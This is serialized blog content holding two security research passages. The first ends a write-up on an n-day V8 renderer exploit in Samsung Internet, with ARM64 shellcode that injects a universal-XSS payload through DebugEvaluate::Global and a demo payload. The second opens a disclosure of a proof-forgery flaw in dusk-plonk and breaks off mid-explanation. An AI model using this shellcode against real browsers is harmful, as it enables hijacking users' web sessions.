#0x5ac8\n",{"type":25,"tag":216,"props":145203,"children":145204},{"class":6916,"line":7210},[145205],{"type":25,"tag":216,"props":145206,"children":145207},{},[145208],{"type":31,"value":145209},"movk x1, #0x054f, lsl #16\n",{"type":25,"tag":216,"props":145211,"children":145212},{"class":6916,"line":7238},[145213],{"type":25,"tag":216,"props":145214,"children":145215},{},[145216],{"type":31,"value":145217},"add x0, x12, x1\n",{"type":25,"tag":216,"props":145219,"children":145220},{"class":6916,"line":7251},[145221],{"type":25,"tag":216,"props":145222,"children":145223},{},[145224],{"type":31,"value":145225},"blr x9\n",{"type":25,"tag":216,"props":145227,"children":145228},{"class":6916,"line":7269},[145229],{"type":25,"tag":216,"props":145230,"children":145231},{},[145232],{"type":31,"value":145233},"// *x0 is isolate pointer\n",{"type":25,"tag":216,"props":145235,"children":145236},{"class":6916,"line":7290},[145237],{"type":25,"tag":216,"props":145238,"children":145239},{},[145240],{"type":31,"value":145241},"// store isolate ptr to stack\n",{"type":25,"tag":216,"props":145243,"children":145244},{"class":6916,"line":7299},[145245],{"type":25,"tag":216,"props":145246,"children":145247},{},[145248],{"type":31,"value":145249},"ldr x13, [x0]\n",{"type":25,"tag":216,"props":145251,"children":145252},{"class":6916,"line":7551},[145253],{"type":25,"tag":216,"props":145254,"children":145255},{},[145256],{"type":31,"value":145257},"str x13, [sp, #-16]!\n",{"type":25,"tag":216,"props":145259,"children":145260},{"class":6916,"line":7568},[145261],{"type":25,"tag":216,"props":145262,"children":145263},{"emptyLinePlaceholder":16},[145264],{"type":31,"value":7636},{"type":25,"tag":216,"props":145266,"children":145267},{"class":6916,"line":7585},[145268],{"type":25,"tag":216,"props":145269,"children":145270},{},[145271],{"type":31,"value":145272},"// store x10 = v8::String::NewFromUTF8\n",{"type":25,"tag":216,"props":145274,"children":145275},{"class":6916,"line":7598},[145276],{"type":25,"tag":216,"props":145277,"children":145278},{},[145279],{"type":31,"value":145280},"movz x1, #0x1140\n",{"type":25,"tag":216,"props":145282,"children":145283},{"class":6916,"line":7607},[145284],{"type":25,"tag":216,"props":145285,"children":145286},{},[145287],{"type":31,"value":145288},"movk x1, #0x0242, lsl #16\n",{"type":25,"tag":216,"props":145290,"children":145291},{"class":6916,"line":7630},[145292],{"type":25,"tag":216,"props":145293,"children":145294},{},[145295],{"type":31,"value":145296},"sub x10, x12, x1\n",{"type":25,"tag":216,"props":145298,"children":145299},{"class":6916,"line":7639},[145300],{"type":25,"tag":216,"props":145301,"children":145302},{"emptyLinePlaceholder":16},[145303],{"type":31,"value":7636},{"type":25,"tag":216,"props":145305,"children":145306},{"class":6916,"line":7648},[145307],{"type":25,"tag":216,"props":145308,"children":145309},{},[145310],{"type":31,"value":145311},"// mmap a RW page for our xss payload\n",{"type":25,"tag":216,"props":145313,"children":145314},{"class":6916,"line":7716},[145315],{"type":25,"tag":216,"props":145316,"children":145317},{},[145318],{"type":31,"value":143662},{"type":25,"tag":216,"props":145320,"children":145321},{"class":6916,"line":7724},[145322],{"type":25,"tag":216,"props":145323,"children":145324},{},[145325],{"type":31,"value":145326},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":25,"tag":216,"props":145328,"children":145329},{"class":6916,"line":7754},[145330],{"type":25,"tag":216,"props":145331,"children":145332},{},[145333],{"type":31,"value":145334},"mov x2, #3\n",{"type":25,"tag":216,"props":145336,"children":145337},{"class":6916,"line":7762},[145338],{"type":25,"tag":216,"props":145339,"children":145340},{},[145341],{"type":31,"value":143685},{"type":25,"tag":216,"props":145343,"children":145344},{"class":6916,"line":7794},[145345],{"type":25,"tag":216,"props":145346,"children":145347},{},[145348],{"type":31,"value":143693},{"type":25,"tag":216,"props":145350,"children":145351},{"class":6916,"line":7802},[145352],{"type":25,"tag":216,"props":145353,"children":145354},{},[145355],{"type":31,"value":143701},{"type":25,"tag":216,"props":145357,"children":145358},{"class":6916,"line":7862},[145359],{"type":25,"tag":216,"props":145360,"children":145361},{},[145362],{"type":31,"value":143709},{"type":25,"tag":216,"props":145364,"children":145365},{"class":6916,"line":12995},[145366],{"type":25,"tag":216,"props":145367,"children":145368},{},[145369],{"type":31,"value":143624},{"type":25,"tag":216,"props":145371,"children":145372},{"class":6916,"line":13013},[145373],{"type":25,"tag":216,"props":145374,"children":145375},{"emptyLinePlaceholder":16},[145376],{"type":31,"value":7636},{"type":25,"tag":216,"props":145378,"children":145379},{"class":6916,"line":13058},[145380],{"type":25,"tag":216,"props":145381,"children":145382},{},[145383],{"type":31,"value":145384},"// write our xss payload to mmapped rw page\n",{"type":25,"tag":216,"props":145386,"children":145387},{"class":6916,"line":13164},[145388],{"type":25,"tag":216,"props":145389,"children":145390},{},[145391],{"type":31,"value":145392},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":25,"tag":216,"props":145394,"children":145395},{"class":6916,"line":27449},[145396],{"type":25,"tag":216,"props":145397,"children":145398},{"emptyLinePlaceholder":16},[145399],{"type":31,"value":7636},{"type":25,"tag":216,"props":145401,"children":145402},{"class":6916,"line":27484},[145403],{"type":25,"tag":216,"props":145404,"children":145405},{},[145406],{"type":31,"value":145407},"// store x11 = XSS_PAYLOAD string\n",{"type":25,"tag":216,"props":145409,"children":145410},{"class":6916,"line":27492},[145411],{"type":25,"tag":216,"props":145412,"children":145413},{},[145414],{"type":31,"value":145415},"mov x11, x0\n",{"type":25,"tag":216,"props":145417,"children":145418},{"class":6916,"line":27500},[145419],{"type":25,"tag":216,"props":145420,"children":145421},{"emptyLinePlaceholder":16},[145422],{"type":31,"value":7636},{"type":25,"tag":216,"props":145424,"children":145425},{"class":6916,"line":27509},[145426],{"type":25,"tag":216,"props":145427,"children":145428},{},[145429],{"type":31,"value":145430},"// pop back isolate pointer\n",{"type":25,"tag":216,"props":145432,"children":145433},{"class":6916,"line":27551},[145434],{"type":25,"tag":216,"props":145435,"children":145436},{},[145437],{"type":31,"value":145438},"ldr x13, [sp], #16\n",{"type":25,"tag":216,"props":145440,"children":145441},{"class":6916,"line":27584},[145442],{"type":25,"tag":216,"props":145443,"children":145444},{"emptyLinePlaceholder":16},[145445],{"type":31,"value":7636},{"type":25,"tag":216,"props":145447,"children":145448},{"class":6916,"line":27592},[145449],{"type":25,"tag":216,"props":145450,"children":145451},{},[145452],{"type":31,"value":143745},{"type":25,"tag":216,"props":145454,"children":145455},{"class":6916,"line":27600},[145456],{"type":25,"tag":216,"props":145457,"children":145458},{},[145459],{"type":31,"value":145460},"// x13 = isolate *\n",{"type":25,"tag":216,"props":145462,"children":145463},{"class":6916,"line":27609},[145464],{"type":25,"tag":216,"props":145465,"children":145466},{},[145467],{"type":31,"value":145468},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":25,"tag":216,"props":145470,"children":145471},{"class":6916,"line":27685},[145472],{"type":25,"tag":216,"props":145473,"children":145474},{},[145475],{"type":31,"value":145476},"// x10 = v8::String::NewFromUtf8\n",{"type":25,"tag":216,"props":145478,"children":145479},{"class":6916,"line":27718},[145480],{"type":25,"tag":216,"props":145481,"children":145482},{"emptyLinePlaceholder":16},[145483],{"type":31,"value":7636},{"type":25,"tag":216,"props":145485,"children":145486},{"class":6916,"line":27726},[145487],{"type":25,"tag":216,"props":145488,"children":145489},{},[145490],{"type":31,"value":145491},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":25,"tag":216,"props":145493,"children":145494},{"class":6916,"line":27734},[145495],{"type":25,"tag":216,"props":145496,"children":145497},{},[145498],{"type":31,"value":145499},"// arg0 = isolate *\n",{"type":25,"tag":216,"props":145501,"children":145502},{"class":6916,"line":27771},[145503],{"type":25,"tag":216,"props":145504,"children":145505},{},[145506],{"type":31,"value":145507},"mov x0, x13\n",{"type":25,"tag":216,"props":145509,"children":145510},{"class":6916,"line":27784},[145511],{"type":25,"tag":216,"props":145512,"children":145513},{},[145514],{"type":31,"value":145515},"// arg1 = char *c_str\n",{"type":25,"tag":216,"props":145517,"children":145518},{"class":6916,"line":27797},[145519],{"type":25,"tag":216,"props":145520,"children":145521},{},[145522],{"type":31,"value":145523},"mov x1, x11\n",{"type":25,"tag":216,"props":145525,"children":145526},{"class":6916,"line":27810},[145527],{"type":25,"tag":216,"props":145528,"children":145529},{},[145530],{"type":31,"value":145531},"// arg2 = type = kNormal\n",{"type":25,"tag":216,"props":145533,"children":145534},{"class":6916,"line":27864},[145535],{"type":25,"tag":216,"props":145536,"children":145537},{},[145538],{"type":31,"value":145539},"mov x2, #0\n",{"type":25,"tag":216,"props":145541,"children":145542},{"class":6916,"line":27873},[145543],{"type":25,"tag":216,"props":145544,"children":145545},{},[145546],{"type":31,"value":145547},"// arg4 = length\n",{"type":25,"tag":216,"props":145549,"children":145550},{"class":6916,"line":36237},[145551],{"type":25,"tag":216,"props":145552,"children":145553},{},[145554],{"type":31,"value":145555},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":25,"tag":216,"props":145557,"children":145558},{"class":6916,"line":36258},[145559],{"type":25,"tag":216,"props":145560,"children":145561},{},[145562],{"type":31,"value":145563},"// call NewFromUTF8\n",{"type":25,"tag":216,"props":145565,"children":145566},{"class":6916,"line":84917},[145567],{"type":25,"tag":216,"props":145568,"children":145569},{},[145570],{"type":31,"value":145571},"blr x10\n",{"type":25,"tag":216,"props":145573,"children":145574},{"class":6916,"line":84930},[145575],{"type":25,"tag":216,"props":145576,"children":145577},{"emptyLinePlaceholder":16},[145578],{"type":31,"value":7636},{"type":25,"tag":216,"props":145580,"children":145581},{"class":6916,"line":84938},[145582],{"type":25,"tag":216,"props":145583,"children":145584},{},[145585],{"type":31,"value":145586},"// store x14 = String XSS_PAYLOAD\n",{"type":25,"tag":216,"props":145588,"children":145589},{"class":6916,"line":84946},[145590],{"type":25,"tag":216,"props":145591,"children":145592},{},[145593],{"type":31,"value":145594},"mov x14, x0\n",{"type":25,"tag":216,"props":145596,"children":145597},{"class":6916,"line":84954},[145598],{"type":25,"tag":216,"props":145599,"children":145600},{"emptyLinePlaceholder":16},[145601],{"type":31,"value":7636},{"type":25,"tag":216,"props":145603,"children":145604},{"class":6916,"line":84994},[145605],{"type":25,"tag":216,"props":145606,"children":145607},{},[145608],{"type":31,"value":145609},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":25,"tag":216,"props":145611,"children":145612},{"class":6916,"line":85002},[145613],{"type":25,"tag":216,"props":145614,"children":145615},{},[145616],{"type":31,"value":145617},"movz x1, #0xe44c\n",{"type":25,"tag":216,"props":145619,"children":145620},{"class":6916,"line":92188},[145621],{"type":25,"tag":216,"props":145622,"children":145623},{},[145624],{"type":31,"value":145625},"movk x1, #0x014e, lsl #16\n",{"type":25,"tag":216,"props":145627,"children":145628},{"class":6916,"line":92196},[145629],{"type":25,"tag":216,"props":145630,"children":145631},{},[145632],{"type":31,"value":145633},"sub x9, x12, x1\n",{"type":25,"tag":216,"props":145635,"children":145636},{"class":6916,"line":105529},[145637],{"type":25,"tag":216,"props":145638,"children":145639},{"emptyLinePlaceholder":16},[145640],{"type":31,"value":7636},{"type":25,"tag":216,"props":145642,"children":145643},{"class":6916,"line":105537},[145644],{"type":25,"tag":216,"props":145645,"children":145646},{},[145647],{"type":31,"value":145648},"// call v8::internal::DebugEvaluate::Global\n",{"type":25,"tag":216,"props":145650,"children":145651},{"class":6916,"line":105545},[145652],{"type":25,"tag":216,"props":145653,"children":145654},{},[145655],{"type":31,"value":145499},{"type":25,"tag":216,"props":145657,"children":145658},{"class":6916,"line":105553},[145659],{"type":25,"tag":216,"props":145660,"children":145661},{},[145662],{"type":31,"value":145507},{"type":25,"tag":216,"props":145664,"children":145665},{"class":6916,"line":105581},[145666],{"type":25,"tag":216,"props":145667,"children":145668},{},[145669],{"type":31,"value":145670},"// arg1 = String *source\n",{"type":25,"tag":216,"props":145672,"children":145673},{"class":6916,"line":108352},[145674],{"type":25,"tag":216,"props":145675,"children":145676},{},[145677],{"type":31,"value":145678},"mov x1, x14\n",{"type":25,"tag":216,"props":145680,"children":145681},{"class":6916,"line":108360},[145682],{"type":25,"tag":216,"props":145683,"children":145684},{},[145685],{"type":31,"value":145686},"// arg2 = mode = kDefault\n",{"type":25,"tag":216,"props":145688,"children":145690},{"class":6916,"line":145689},69,[145691],{"type":25,"tag":216,"props":145692,"children":145693},{},[145694],{"type":31,"value":145539},{"type":25,"tag":216,"props":145696,"children":145698},{"class":6916,"line":145697},70,[145699],{"type":25,"tag":216,"props":145700,"children":145701},{},[145702],{"type":31,"value":145703},"// arg3 = repl_mode = kYes\n",{"type":25,"tag":216,"props":145705,"children":145707},{"class":6916,"line":145706},71,[145708],{"type":25,"tag":216,"props":145709,"children":145710},{},[145711],{"type":31,"value":145712},"mov x3, #0\n",{"type":25,"tag":216,"props":145714,"children":145716},{"class":6916,"line":145715},72,[145717],{"type":25,"tag":216,"props":145718,"children":145719},{"emptyLinePlaceholder":16},[145720],{"type":31,"value":7636},{"type":25,"tag":216,"props":145722,"children":145724},{"class":6916,"line":145723},73,[145725],{"type":25,"tag":216,"props":145726,"children":145727},{},[145728],{"type":31,"value":145225},{"type":25,"tag":607,"props":145730,"children":145732},{"id":145731},"uxss-demo",[145733],{"type":31,"value":145734},"UXSS Demo",{"type":25,"tag":38,"props":145736,"children":145737},{},[145738,145740,145746],{"type":31,"value":145739},"Below is a demo that executes the following UXSS payload: ",{"type":25,"tag":82,"props":145741,"children":145743},{"className":145742},[],[145744],{"type":31,"value":145745},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":31,"value":179},{"type":25,"tag":135784,"props":145748,"children":145751},{"className":145749,"controls":16},[145750],"blog-video-responsive",[145752,145754,145758],{"type":31,"value":145753},"\n  ",{"type":25,"tag":144989,"props":145755,"children":145757},{"src":145756,"type":135782},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":31,"value":145759},"\n  Your browser does not support the video tag.\n",{"type":25,"tag":26,"props":145761,"children":145762},{"id":32886},[145763],{"type":31,"value":22901},{"type":25,"tag":38,"props":145765,"children":145766},{},[145767],{"type":31,"value":145768},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":25,"tag":38,"props":145770,"children":145771},{},[145772],{"type":31,"value":145773},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":25,"tag":9310,"props":145775,"children":145776},{},[145777],{"type":31,"value":9314},{"title":7,"searchDepth":6763,"depth":6763,"links":145779},[145780,145784,145787,145797],{"id":32969,"depth":6763,"text":32972,"children":145781},[145782,145783],{"id":135918,"depth":6772,"text":135921},{"id":136001,"depth":6772,"text":136004},{"id":136034,"depth":6763,"text":136037,"children":145785},[145786],{"id":136175,"depth":6772,"text":136029},{"id":136319,"depth":6763,"text":136322,"children":145788},[145789,145790,145791,145792,145793,145794,145795,145796],{"id":136325,"depth":6772,"text":136328},{"id":136782,"depth":6772,"text":136785},{"id":136965,"depth":6772,"text":136968},{"id":137076,"depth":6772,"text":137079},{"id":137353,"depth":6772,"text":137356},{"id":140062,"depth":6772,"text":140065},{"id":143343,"depth":6772,"text":143346},{"id":145731,"depth":6772,"text":145734},{"id":32886,"depth":6763,"text":22901},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":145802,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":145803,"description":145804,"date":145805,"author":145806,"image":145807,"isFeatured":16,"onBlogPage":16,"tags":145809,"body":145812,"_type":6792,"_id":151074,"_source":6794,"_file":151075,"_stem":151076,"_extension":6797},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[111790,111791],{"src":145808,"width":101220,"height":17574},"/posts/dusk-commitment-issues/title.png",[145810,145811],"dusk","plonk",{"type":22,"children":145813,"toc":151054},[145814,145820,145861,145873,145879,145893,145898,145904,146195,146199,146470,146699,146705,147390,147394,147889,147897,147903,147922,147927,147933,148158,148197,148208,148214,148225,148933,148938,148941,148947,149000,149035,149067,149072,149076,149079,149085,149096,149109,149140,149207,149215,149237,149250,149677,149700,149705,149708,149713,149740,149836,149847,149894,149932,149943,150281,150298,150306,150309,150315,150320,150354,150362,150443,150446,150452,150466,150484,150489,150529,150537,150558,150561,150567,150572,150637,150651,150654,150660,150700,150711,150716,150721,150727,150741,150822,150843,150870,150873,150879,150893,150898,150903,150908,151043,151049],{"type":25,"tag":453,"props":145815,"children":145817},{"id":145816},"commitment-issues-unverified-evaluations-in-dusks-plonk",[145818],{"type":31,"value":145819},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":25,"tag":38,"props":145821,"children":145822},{},[145823,145825,145832,145834,145841,145843,145850,145852,145859],{"type":31,"value":145824},"We found a critical soundness vulnerability in ",{"type":25,"tag":162,"props":145826,"children":145829},{"href":145827,"rel":145828},"https://github.com/dusk-network/plonk/",[166],[145830],{"type":31,"value":145831},"dusk-plonk",{"type":31,"value":145833},", the PLONK implementation powering ",{"type":25,"tag":162,"props":145835,"children":145838},{"href":145836,"rel":145837},"https://dusk.network/",[166],[145839],{"type":31,"value":145840},"Dusk Network's",{"type":31,"value":145842}," ~$60M ",{"type":25,"tag":162,"props":145844,"children":145847},{"href":145845,"rel":145846},"https://www.coingecko.com/en/coins/dusk",[166],[145848],{"type":31,"value":145849},"market cap",{"type":31,"value":145851},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":25,"tag":162,"props":145853,"children":145856},{"href":145854,"rel":145855},"https://github.com/dusk-network/rusk",[166],[145857],{"type":31,"value":145858},"Rusk",{"type":31,"value":145860}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":25,"tag":38,"props":145862,"children":145863},{},[145864,145866,145871],{"type":31,"value":145865},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":25,"tag":9267,"props":145867,"children":145868},{},[145869],{"type":31,"value":145870},"without ever validating them against the trusted commitments in the verifier key.",{"type":31,"value":145872}," The prover can set them to whatever values make the equation pass.",{"type":25,"tag":26,"props":145874,"children":145876},{"id":145875},"how-plonk-works-briefly",[145877],{"type":31,"value":145878},"How PLONK works (briefly)",{"type":25,"tag":38,"props":145880,"children":145881},{},[145882,145884,145891],{"type":31,"value":145883},"For a rigorous treatment see the ",{"type":25,"tag":162,"props":145885,"children":145888},{"href":145886,"rel":145887},"https://eprint.iacr.org/2019/953",[166],[145889],{"type":31,"value":145890},"original paper",{"type":31,"value":145892},"; what follows covers only the parts needed to understand the bug.",{"type":25,"tag":38,"props":145894,"children":145895},{},[145896],{"type":31,"value":145897},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":25,"tag":607,"props":145899,"children":145901},{"id":145900},"arithmetic-circuits-and-constraints",[145902],{"type":31,"value":145903},"Arithmetic circuits and constraints",{"type":25,"tag":38,"props":145905,"children":145906},{},[145907,145909,145958,145960,146109,146111,146194],{"type":31,"value":145908},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":25,"tag":82,"props":145910,"children":145912},{"className":145911},[212,4696],[145913],{"type":25,"tag":216,"props":145914,"children":145916},{"className":145915},[224],[145917],{"type":25,"tag":216,"props":145918,"children":145920},{"className":145919,"ariaHidden":230},[229],[145921],{"type":25,"tag":216,"props":145922,"children":145924},{"className":145923},[235],[145925,145929,145934,145939,145944,145948,145953],{"type":25,"tag":216,"props":145926,"children":145928},{"className":145927,"style":5507},[240],[],{"type":25,"tag":216,"props":145930,"children":145932},{"className":145931},[287],[145933],{"type":31,"value":1844},{"type":25,"tag":216,"props":145935,"children":145937},{"className":145936},[246,2145],[145938],{"type":31,"value":2535},{"type":25,"tag":216,"props":145940,"children":145942},{"className":145941},[1858],[145943],{"type":31,"value":1861},{"type":25,"tag":216,"props":145945,"children":145947},{"className":145946,"style":1865},[257],[],{"type":25,"tag":216,"props":145949,"children":145951},{"className":145950,"style":2319},[246,2145],[145952],{"type":31,"value":7058},{"type":25,"tag":216,"props":145954,"children":145956},{"className":145955},[427],[145957],{"type":31,"value":1882},{"type":31,"value":145959}," on an elliptic curve, by e.g proving that ",{"type":25,"tag":82,"props":145961,"children":145963},{"className":145962},[212,4696],[145964],{"type":25,"tag":216,"props":145965,"children":145967},{"className":145966},[224],[145968],{"type":25,"tag":216,"props":145969,"children":145971},{"className":145970,"ariaHidden":230},[229],[145972,146034,146096],{"type":25,"tag":216,"props":145973,"children":145975},{"className":145974},[235],[145976,145980,146021,146025,146030],{"type":25,"tag":216,"props":145977,"children":145979},{"className":145978,"style":127310},[240],[],{"type":25,"tag":216,"props":145981,"children":145983},{"className":145982},[246],[145984,145989],{"type":25,"tag":216,"props":145985,"children":145987},{"className":145986,"style":2319},[246,2145],[145988],{"type":31,"value":7058},{"type":25,"tag":216,"props":145990,"children":145992},{"className":145991},[2153],[145993],{"type":25,"tag":216,"props":145994,"children":145996},{"className":145995},[298],[145997],{"type":25,"tag":216,"props":145998,"children":146000},{"className":145999},[304],[146001],{"type":25,"tag":216,"props":146002,"children":146004},{"className":146003,"style":7968},[309],[146005],{"type":25,"tag":216,"props":146006,"children":146007},{"style":6098},[146008,146012],{"type":25,"tag":216,"props":146009,"children":146011},{"className":146010,"style":2175},[319],[],{"type":25,"tag":216,"props":146013,"children":146015},{"className":146014},[2180,2181,2182,2183],[146016],{"type":25,"tag":216,"props":146017,"children":146019},{"className":146018},[246,2183],[146020],{"type":31,"value":331},{"type":25,"tag":216,"props":146022,"children":146024},{"className":146023,"style":258},[257],[],{"type":25,"tag":216,"props":146026,"children":146028},{"className":146027},[263],[146029],{"type":31,"value":266},{"type":25,"tag":216,"props":146031,"children":146033},{"className":146032,"style":258},[257],[],{"type":25,"tag":216,"props":146035,"children":146037},{"className":146036},[235],[146038,146042,146083,146087,146092],{"type":25,"tag":216,"props":146039,"children":146041},{"className":146040,"style":127185},[240],[],{"type":25,"tag":216,"props":146043,"children":146045},{"className":146044},[246],[146046,146051],{"type":25,"tag":216,"props":146047,"children":146049},{"className":146048},[246,2145],[146050],{"type":31,"value":2535},{"type":25,"tag":216,"props":146052,"children":146054},{"className":146053},[2153],[146055],{"type":25,"tag":216,"props":146056,"children":146058},{"className":146057},[298],[146059],{"type":25,"tag":216,"props":146060,"children":146062},{"className":146061},[304],[146063],{"type":25,"tag":216,"props":146064,"children":146066},{"className":146065,"style":7968},[309],[146067],{"type":25,"tag":216,"props":146068,"children":146069},{"style":6098},[146070,146074],{"type":25,"tag":216,"props":146071,"children":146073},{"className":146072,"style":2175},[319],[],{"type":25,"tag":216,"props":146075,"children":146077},{"className":146076},[2180,2181,2182,2183],[146078],{"type":25,"tag":216,"props":146079,"children":146081},{"className":146080},[246,2183],[146082],{"type":31,"value":21247},{"type":25,"tag":216,"props":146084,"children":146086},{"className":146085,"style":335},[257],[],{"type":25,"tag":216,"props":146088,"children":146090},{"className":146089},[340],[146091],{"type":31,"value":3533},{"type":25,"tag":216,"props":146093,"children":146095},{"className":146094,"style":335},[257],[],{"type":25,"tag":216,"props":146097,"children":146099},{"className":146098},[235],[146100,146104],{"type":25,"tag":216,"props":146101,"children":146103},{"className":146102,"style":5287},[240],[],{"type":25,"tag":216,"props":146105,"children":146107},{"className":146106},[246],[146108],{"type":31,"value":58633},{"type":31,"value":146110},", here in ",{"type":25,"tag":82,"props":146112,"children":146114},{"className":146113},[212,4696],[146115],{"type":25,"tag":216,"props":146116,"children":146118},{"className":146117},[224],[146119],{"type":25,"tag":216,"props":146120,"children":146122},{"className":146121,"ariaHidden":230},[229],[146123],{"type":25,"tag":216,"props":146124,"children":146126},{"className":146125},[235],[146127,146132],{"type":25,"tag":216,"props":146128,"children":146131},{"className":146129,"style":146130},[240],"height:0.8389em;vertical-align:-0.15em;",[],{"type":25,"tag":216,"props":146133,"children":146135},{"className":146134},[246],[146136,146141],{"type":25,"tag":216,"props":146137,"children":146139},{"className":146138},[246,125752],[146140],{"type":31,"value":5941},{"type":25,"tag":216,"props":146142,"children":146144},{"className":146143},[2153],[146145],{"type":25,"tag":216,"props":146146,"children":146148},{"className":146147},[298,299],[146149,146183],{"type":25,"tag":216,"props":146150,"children":146152},{"className":146151},[304],[146153,146178],{"type":25,"tag":216,"props":146154,"children":146156},{"className":146155,"style":97063},[309],[146157],{"type":25,"tag":216,"props":146158,"children":146159},{"style":2268},[146160,146164],{"type":25,"tag":216,"props":146161,"children":146163},{"className":146162,"style":2175},[319],[],{"type":25,"tag":216,"props":146165,"children":146167},{"className":146166},[2180,2181,2182,2183],[146168],{"type":25,"tag":216,"props":146169,"children":146171},{"className":146170},[246,2183],[146172],{"type":25,"tag":216,"props":146173,"children":146175},{"className":146174},[246,2183],[146176],{"type":31,"value":146177},"37",{"type":25,"tag":216,"props":146179,"children":146181},{"className":146180},[408],[146182],{"type":31,"value":411},{"type":25,"tag":216,"props":146184,"children":146186},{"className":146185},[304],[146187],{"type":25,"tag":216,"props":146188,"children":146190},{"className":146189,"style":2203},[309],[146191],{"type":25,"tag":216,"props":146192,"children":146193},{},[],{"type":31,"value":179},{"type":25,"tag":146196,"props":146197,"children":146198},"arithmetic-circuit-widget",{},[],{"type":25,"tag":38,"props":146200,"children":146201},{},[146202,146204,146230,146232,146310,146312,146389,146391,146468],{"type":31,"value":146203},"Each gate ",{"type":25,"tag":82,"props":146205,"children":146207},{"className":146206},[212,4696],[146208],{"type":25,"tag":216,"props":146209,"children":146211},{"className":146210},[224],[146212],{"type":25,"tag":216,"props":146213,"children":146215},{"className":146214,"ariaHidden":230},[229],[146216],{"type":25,"tag":216,"props":146217,"children":146219},{"className":146218},[235],[146220,146225],{"type":25,"tag":216,"props":146221,"children":146224},{"className":146222,"style":146223},[240],"height:0.6595em;",[],{"type":25,"tag":216,"props":146226,"children":146228},{"className":146227},[246,2145],[146229],{"type":31,"value":2283},{"type":31,"value":146231}," has a left input ",{"type":25,"tag":82,"props":146233,"children":146235},{"className":146234},[212,4696],[146236],{"type":25,"tag":216,"props":146237,"children":146239},{"className":146238},[224],[146240],{"type":25,"tag":216,"props":146241,"children":146243},{"className":146242,"ariaHidden":230},[229],[146244],{"type":25,"tag":216,"props":146245,"children":146247},{"className":146246},[235],[146248,146252],{"type":25,"tag":216,"props":146249,"children":146251},{"className":146250,"style":5607},[240],[],{"type":25,"tag":216,"props":146253,"children":146255},{"className":146254},[246],[146256,146261],{"type":25,"tag":216,"props":146257,"children":146259},{"className":146258,"style":97023},[246,2145],[146260],{"type":31,"value":97026},{"type":25,"tag":216,"props":146262,"children":146264},{"className":146263},[2153],[146265],{"type":25,"tag":216,"props":146266,"children":146268},{"className":146267},[298,299],[146269,146299],{"type":25,"tag":216,"props":146270,"children":146272},{"className":146271},[304],[146273,146294],{"type":25,"tag":216,"props":146274,"children":146276},{"className":146275,"style":2264},[309],[146277],{"type":25,"tag":216,"props":146278,"children":146280},{"style":146279},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[146281,146285],{"type":25,"tag":216,"props":146282,"children":146284},{"className":146283,"style":2175},[319],[],{"type":25,"tag":216,"props":146286,"children":146288},{"className":146287},[2180,2181,2182,2183],[146289],{"type":25,"tag":216,"props":146290,"children":146292},{"className":146291},[246,2145,2183],[146293],{"type":31,"value":2283},{"type":25,"tag":216,"props":146295,"children":146297},{"className":146296},[408],[146298],{"type":31,"value":411},{"type":25,"tag":216,"props":146300,"children":146302},{"className":146301},[304],[146303],{"type":25,"tag":216,"props":146304,"children":146306},{"className":146305,"style":2203},[309],[146307],{"type":25,"tag":216,"props":146308,"children":146309},{},[],{"type":31,"value":146311},", right input ",{"type":25,"tag":82,"props":146313,"children":146315},{"className":146314},[212,4696],[146316],{"type":25,"tag":216,"props":146317,"children":146319},{"className":146318},[224],[146320],{"type":25,"tag":216,"props":146321,"children":146323},{"className":146322,"ariaHidden":230},[229],[146324],{"type":25,"tag":216,"props":146325,"children":146327},{"className":146326},[235],[146328,146332],{"type":25,"tag":216,"props":146329,"children":146331},{"className":146330,"style":4821},[240],[],{"type":25,"tag":216,"props":146333,"children":146335},{"className":146334},[246],[146336,146341],{"type":25,"tag":216,"props":146337,"children":146339},{"className":146338,"style":2746},[246,2145],[146340],{"type":31,"value":97823},{"type":25,"tag":216,"props":146342,"children":146344},{"className":146343},[2153],[146345],{"type":25,"tag":216,"props":146346,"children":146348},{"className":146347},[298,299],[146349,146378],{"type":25,"tag":216,"props":146350,"children":146352},{"className":146351},[304],[146353,146373],{"type":25,"tag":216,"props":146354,"children":146356},{"className":146355,"style":2264},[309],[146357],{"type":25,"tag":216,"props":146358,"children":146359},{"style":2768},[146360,146364],{"type":25,"tag":216,"props":146361,"children":146363},{"className":146362,"style":2175},[319],[],{"type":25,"tag":216,"props":146365,"children":146367},{"className":146366},[2180,2181,2182,2183],[146368],{"type":25,"tag":216,"props":146369,"children":146371},{"className":146370},[246,2145,2183],[146372],{"type":31,"value":2283},{"type":25,"tag":216,"props":146374,"children":146376},{"className":146375},[408],[146377],{"type":31,"value":411},{"type":25,"tag":216,"p